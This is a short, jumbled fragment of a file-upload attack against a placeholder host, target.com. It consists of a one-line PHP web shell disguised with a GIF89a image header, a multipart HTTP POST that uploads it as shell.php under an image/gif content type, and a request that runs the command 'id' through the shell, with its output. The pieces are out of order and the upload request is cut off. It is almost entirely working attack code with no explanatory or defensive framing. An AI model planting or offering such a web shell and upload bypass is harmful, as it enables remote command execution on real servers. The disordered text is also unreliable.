GIF89a; <?php system($_GET['cmd']); ?> ------WebKitFormBoundary--
http://target.com/uploads/20250213_184512_9923.php?cmd=id Output: fileupload eddy
POST /upload HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundary ------WebKitFormBoundary Content-Disposition: form-data; name="file"; filename="shell.php" Content-Type: image/gif GIF89a; <